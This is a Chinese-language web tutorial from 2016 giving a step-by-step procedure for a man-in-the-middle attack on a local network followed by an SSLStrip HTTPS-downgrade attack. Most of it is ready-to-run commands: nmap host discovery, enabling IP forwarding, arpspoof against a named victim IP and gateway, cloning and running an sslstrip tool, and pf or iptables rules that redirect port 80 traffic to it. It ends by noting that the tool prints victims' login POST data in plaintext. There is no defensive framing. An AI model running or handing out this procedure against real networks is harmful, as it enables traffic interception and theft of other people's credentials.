首页 > 安全 > 网络安全 >

如何进行一次完整的 SSLStrip 攻击

2016-09-14

中间人攻击(man-in-the-middle),就是攻击者扮演中间人进行攻击,可以劫持一段会话,窃取凭证和其他机密信息。 ARP (地址解析协议)。中间人攻击,监听受害者流量 SSLStrip 攻击, 获取敏感信息中间人攻击。

简介

本文将介绍在局域网内,如何监听受害者流量并通过 SSLstrip 攻击获取敏感信息,分为如下两步:

中间人攻击,监听受害者流量 SSLStrip 攻击, 获取敏感信息中间人攻击

中间人攻击(man-in-the-middle),就是攻击者扮演中间人进行攻击,可以劫持一段会话,窃取凭证和其他机密信息。

ARP (地址解析协议)

ARP 协议负责通过 IP 地址找到 MAC 地址(物理地址 ),在以太网中,是利用 MAC 地址来通讯的。

ARP协议是这样工作的:如主机B需要给主机A(IP为192.168.1.100)发送数据,为了知道谁是主机A,首先主机B发送一个广播包给网内所有机器“谁是192.168.1.10”,正常情况其他机器忽略该消息,仅主机A回复“我是192.168.1.10”,于是通信就可以开始。所有的主机维护他们自己的ARP缓存表,所以不会每一次都发送广播,ARP表中包含IP对应的MAC地址。

攻击准备mac 下准备 安装 macports 官网 更新 macports sudo port -d selfupdate 安装 dsniff(包含 arp 攻击的工具)sudo port install dsniff 安装 nmap brew install nmap (如果没有安装 Homebrew,可以去 Homebrew 官网linux 下准备 安装 dsniff sudo apt-get install dsniff 安装 nmap sudo apt-get install nmap攻击步骤

一、寻找目标

使用nmap命令扫描局域网,获得主机列表

如果所在局域网路由器地址是 192.168.16.1,可以使用 nmap -sP 192.168.16.1/24 扫描

-sP 表示使用 ping 方式扫描,192.168.16.1/24”表示扫描"192.168.16.1-192.168.16.254"这个网段的所有机器。

二、开启 IP 转发

ARP欺骗一般目的是把自己伪装成网关,但如果不作处理,当被欺骗数据包到达后就会被本机丢弃(因为本机不是网关,不知道如何处理这类数据包),这当然是不允许的。开启IP转发功能可以解决该问题,IP转发负责把该类数据包再转发给真正的网关处理,开启IP转发的方法

mac 下:

sysctl -w net.inet.ip.forwarding=1

linux 下:

echo1 >/proc/sys/net/ipv4/ip_forward

三、ARP 欺骗

假设被攻击的 IP 是 192.168.16.134,局域网的网关是 192.168.16.1,攻击电脑使用的网卡接口是 en0(可以使用 ifconfig 命令查看), 则欺骗命令如下:

arpspoof -i en0 -t 192.168.16.134 192.168.16.1

四、分析数据

如果 ARP 欺骗成功,则被攻击的设备会把所有数据先传到我们电脑上,接下来可以使用 wireshark 软件来分析数据。

至此,中间人攻击完成,接下来可以开始进行 SSLstrip 攻击。

SSLStrip 攻击

SSLstrip 也叫 https 降级攻击,攻击者拦截用户流量后,欺骗用户与攻击者进行 http 通信,攻击者与服务器保持正常通信 (http 或 https),从而获取用户信息。

攻击原理 通过中间人攻击监听 http 流量(自己试验可以通过设置 http 代理) 更改重定向链接中的 location,替换 https 为 http,并记录 更改响应内容中的超链接,替换 https 为 http,并记录 与用户进行 http 通信,与服务器进行 https 通信(记录中本应是 https 的请求),从而明文获取用户信息攻击准备 监听 http 流量 获取攻击代码 git clone git@github.com:zsky/sslstrip.git 安装 nodeJs攻击步骤

一、运行程序

命令行进入 sslstrip 程序的根目录,输入命令 node index.js

可以看到程序监听的端口号,比如 8080

二、把流量导入到 sslstrip 程序

mac 下 (修改 mac 的packet filter):

在 /etc/pf.anchors 目录下新建文件 http,内容如下

rdr pass on en0 proto tcp from any to any port 80 -> 127.0.0.1 port 8080

其中最后面的端口号(比如上面的 8080)就是 ssltrip 程序监听的端口号

修改 /etc/pf.conf 文件,在适当的位置加入

rdr-anchor "http-forwarding" 和 load anchor "http-forwarding" from "/etc/pf.anchors/http" 两行命令.

比如 /etc/pf.conf 修改后可能是这样:

# # com.apple anchor point # scrub-anchor "com.apple/*" nat-anchor "com.apple/*" rdr-anchor "com.apple/*" rdr-anchor "http-forwarding" dummynet-anchor "com.apple/*" anchor "com.apple/*" load anchor "com.apple" from "/etc/pf.anchors/com.apple" load anchor "http-forwarding" from "/etc/pf.anchors/http"

重启 packet filter,依次输入命令 sudo pfctl -ef /etc/pf.conf 和 sudo pfctl -E

linux 下(修改 ip 转发表):

输入命令: iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080

其中最后面的端口号(比如上面的 8080)就是 sslstrip 程序监听的端口号

如果攻击完成后要删除这条记录可以输入命令 iptables -t nat -D PREROUTING 1

查看 ip 转发表: iptables -t nat -L

三、观察 sslstrip 程序控制台

此时监听的数据会通过 sslstrip 程序,程序默认会把本应是 https 的post 请求(比如登录之类的请求)的数据体打印到控制台

相关文章
最新文章
热点推荐